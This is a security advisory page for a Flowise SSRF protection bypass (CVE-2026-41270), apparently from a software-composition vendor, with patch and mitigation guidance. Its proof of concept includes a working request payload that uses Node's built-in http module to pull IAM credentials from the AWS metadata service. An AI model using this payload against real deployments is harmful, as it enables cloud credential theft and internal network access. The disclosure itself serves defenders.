CVE-2026-41270 — flowise
HIGHCVE-2026-41270 is a high-severity (CVSS 7.1) CWE-284 vulnerability in flowise. A fix is available for flowise — see the affected versions and patch details below.
Flowise: SSRF Protection Bypass via Unprotected Built-in HTTP Modules in Custom Function Sandbox
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-41270.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-41270 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
flowisenpmflowise-componentsnpmDescription
Summary
A Server-Side Request Forgery (SSRF) protection bypass vulnerability exists in the Custom Function feature. While the application implements SSRF protection via HTTP_DENY_LIST for axios and node-fetch libraries, the built-in Node.js http, https, and net modules are allowed in the NodeVM sandbox without equivalent protection. This allows authenticated users to bypass SSRF controls and access internal network resources (e.g., cloud provider metadata services)
Details
The vulnerability exists in the sandbox configuration within packages/components/src/utils.ts
Vulnerable Code - Allowed Built-in Modules (Line 56):
export const defaultAllowBuiltInDep = [
'assert', 'buffer', 'crypto', 'events', 'http', 'https', 'net', 'path', 'querystring', 'timers',
'url', 'zlib', 'os', 'stream', 'http2', 'punycode', 'perf_hooks', 'util', 'tls', 'string_decoder', 'dns', 'dgram'
]
SSRF Protection Implementation (Lines 254-261):
// Only axios and node-fetch are wrapped with SSRF protection
secureWrappers['axios'] = secureAxiosWrapper
secureWrappers['node-fetch'] = secureNodeFetch
const defaultNodeVMOptions: any = {
// ...
require: {
builtin: builtinDeps, // <-- http, https, net allowed here
mock: secureWrappers // <-- Only mocks axios, node-fetch
},
// ...
}
Root Cause:
- The
secureWrappersobject only contains mocked versions ofaxiosandnode-fetchthat enforceHTTP_DENY_LIST - The built-in
http,https, andnetmodules are passed directly to the sandbox viabuiltinDepswithout any SSRF protection - Users can import these modules directly and make arbitrary HTTP requests, which completely bypasses the intended security controls
Affected File: packages/components/src/utils.ts
Related Files:
packages/components/src/httpSecurity.ts- Contains checkDenyList() function only used by axios/node-fetch wrapperspackages/server/src/controllers/nodes/index.ts- API endpoint accepting user-controlled JavaScript codepackages/server/src/services/nodes/index.ts- Service layer executing the code
PoC
Prerequisites:
- Flowise instance with
HTTP_DENY_LISTconfigured (e.g.,HTTP_DENY_LIST=127.0.0.1,169.254.169.254,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16) - Valid API key or authenticated session
- For full impact demonstration - Flowise running on AWS EC2 with an IAM role attached
Verify SSRF Protection is enabled (expect a block message by policy)
Request:
POST /api/v1/node-custom-function HTTP/1.1
Host: <host>
Content-Type: application/json
Authorization: Bearer <api_key>
{
"javascriptFunction": "const axios = require('axios'); return (await axios.get('http://169.254.169.254/latest/meta-data/')).data;"
}
Response:
{"statusCode":500,"success":false,"message":"Error: nodesService.executeCustomFunction - Error running custom function: Error: Error: NodeVM Execution Error: Error: Access to this host is denied by policy.","stack":{}}
Bypass SSRF Protection using built-in http module
Request:
POST /api/v1/node-custom-function HTTP/1.1
Host: <host>
Content-Type: application/json
Authorization: Bearer <api_key>
{
"javascriptFunction": "const http = require('http'); return new Promise((resolve) => { const tokenReq = http.request({ hostname: '169.254.169.254', path: '/latest/api/token', method: 'PUT', headers: { 'X-aws-ec2-metadata-token-ttl-seconds': '21600' } }, (tokenRes) => { let token = ''; tokenRes.on('data', c => token += c); tokenRes.on('end', () => { const metaReq = http.request({ hostname: '169.254.169.254', path: '/latest/meta-data/iam/security-credentials/{IAM_Role}', headers: { 'X-aws-ec2-metadata-token': token } }, (metaRes) => { let data = ''; metaRes.on('data', c => data += c); metaRes.on('end', () => resolve(data)); }); metaReq.on('error', e => resolve('meta-error:' + e.message)); metaReq.end(); }); }); tokenReq.on('error', e => resolve('token-error:' + e.message)); tokenReq.end(); });"
}
Response:
{
"Code": "Success",
"LastUpdated": "2026-01-08T11:30:00Z",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "...",
"Expiration": "2026-01-08T17:30:00Z"
}
<img width="1638" height="751" alt="image" src="https://github.com/user-attachments/assets/ed8b1dfd-516f-4e2b-a4ea-4dd259a8abf6" />
<img width="1633" height="986" alt="image" src="https://github.com/user-attachments/assets/12f6ecab-96df-42bc-9551-4a005ba6ba77" />
Impact
Vulnerability Type: Server-Side Request Forgery (SSRF) with security controls bypass
Who is Impacted:
- All Flowise deployments where
HTTP_DENY_LISTis configured for SSRF protection - Deployments without
HTTP_DENY_LISTare already vulnerable to SSRF via any method
Impact Severity:
- Attackers can steal temporary IAM credentials from metadata services, which allows gaining access to other cloud resources
- Scan internal networks, discover services, and identify attack targets
- Reach databases, admin panels, and other internal APIs that should not be externally accessible
Attack Requirements:
- Authentication required (API key or session)
- Network access to Flowise instance
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | flowise | all versions | 3.1.0npm install flowise@3.1.0 |
| 📦npm | flowise-components | all versions | 3.1.0npm install flowise-components@3.1.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for flowise, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update flowise to 3.1.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-41270 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-41270 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-41270. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-41270 in your dependencies?
O3 Security finds CVE-2026-41270 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.